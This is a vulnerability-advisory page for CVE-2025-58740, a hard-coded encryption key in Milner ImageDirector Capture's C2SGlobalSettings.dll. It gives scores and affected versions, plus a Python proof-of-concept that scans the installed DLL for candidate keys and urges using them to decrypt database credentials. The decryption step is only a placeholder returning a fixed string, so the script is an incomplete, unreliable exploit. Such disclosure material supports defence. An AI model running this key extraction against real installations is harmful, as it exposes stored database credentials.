Security Vulnerability Report
中文
CVE-2025-58740 CVSS 5.5 MEDIUM

CVE-2025-58740

Published: 2026-01-20 22:15:51
Last Modified: 2026-02-10 16:53:15
Source: 57dba5dd-1a03-47f6-8b36-e84e47d335d8

Description

The use of a hard-coded encryption key in calls to the Password function in C2SGlobalSettings.dll in Milner ImageDirector Capture on Windows allows a local attacker to decrypt database credentials by reading the cryptographic key from the executable. This issue affects ImageDirector Capture: from 7.0.9 before 7.6.3.25808.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:milner:imagedirector_capture:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Milner ImageDirector Capture 7.0.9
Milner ImageDirector Capture < 7.6.3.25808

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58740 PoC - Extract hardcoded encryption key from C2SGlobalSettings.dll # This PoC demonstrates how an attacker can extract the hardcoded encryption key import os import re import sys def extract_hardcoded_key(dll_path): """ Extract potential hardcoded encryption keys from the DLL file """ if not os.path.exists(dll_path): print(f"[-] DLL file not found: {dll_path}") return None print(f"[+] Reading DLL file: {dll_path}") with open(dll_path, 'rb') as f: data = f.read() # Search for common encryption key patterns key_patterns = [ rb'Password', # Password function reference rb'Key', # Key references rb'[A-Fa-f0-9]{32}', # 32-char hex key (AES-128) rb'[A-Fa-f0-9]{64}', # 64-char hex key (AES-256) ] found_keys = [] for pattern in key_patterns: matches = re.findall(pattern, data) if matches: found_keys.extend([m.decode('utf-8', errors='ignore') for m in matches]) # Extract strings that look like encryption keys (alphanumeric, 16-64 chars) strings_output = os.popen(f'strings "{dll_path}"').read() potential_keys = re.findall(r'[A-Za-z0-9+/=]{16,64}', strings_output) print(f"[+] Found {len(potential_keys)} potential encryption keys") for i, key in enumerate(potential_keys[:10]): print(f" Key {i+1}: {key}") return potential_keys def decrypt_password(encrypted_password, extracted_key): """ Decrypt database password using the extracted hardcoded key Note: Actual decryption algorithm depends on implementation """ print(f"[*] Attempting to decrypt password with key: {extracted_key}") # Placeholder for actual decryption logic # In real scenario, reverse engineer the Password function return "DECRYPTED_PASSWORD" def main(): print("=" * 60) print("CVE-2025-58740 PoC - Hardcoded Encryption Key Extraction") print("Target: Milner ImageDirector Capture") print("=" * 60) # Common installation paths dll_paths = [ r"C:\Program Files\Milner\ImageDirector Capture\C2SGlobalSettings.dll", r"C:\Program Files (x86)\Milner\ImageDirector Capture\C2SGlobalSettings.dll", ] # Try to find and extract the hardcoded key for dll_path in dll_paths: print(f"\n[*] Checking path: {dll_path}") keys = extract_hardcoded_key(dll_path) if keys: print(f"\n[!] Successfully extracted potential encryption keys!") print("[!] Use these keys to decrypt database credentials stored by ImageDirector Capture") break else: print("[-] Could not locate C2SGlobalSettings.dll") print("[-] Please provide the correct installation path") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58740", "sourceIdentifier": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "published": "2026-01-20T22:15:51.343", "lastModified": "2026-02-10T16:53:15.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The use of a hard-coded encryption key in calls to the Password function in C2SGlobalSettings.dll in Milner ImageDirector Capture on Windows allows a local attacker to decrypt database credentials by reading the cryptographic key from the executable.\n\nThis issue affects ImageDirector Capture: from 7.0.9 before 7.6.3.25808."}, {"lang": "es", "value": "El uso de una clave de cifrado codificada de forma rígida en las llamadas a la función Password en C2SGlobalSettings.dll en Milner ImageDirector Capture en Windows permite a un atacante local descifrar las credenciales de la base de datos leyendo la clave criptográfica del ejecutable.\n\nEste problema afecta a ImageDirector Capture: desde 7.0.9 antes de 7.6.3.25808."}], "metrics": {"cvssMetricV40": [{"source": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:milner:imagedirector_capture:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.9", "versionEndExcluding": "7.6.3.25808", "matchCriteriaId": "8D1B57A0-F2D5-41A7-BA72-4F2FE59FF416"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://sra.io/advisories", "source": "57dba5dd-1a03-47f6-8b36-e84e47d335d8", "tags": ["Third Party Advisory"]}]}}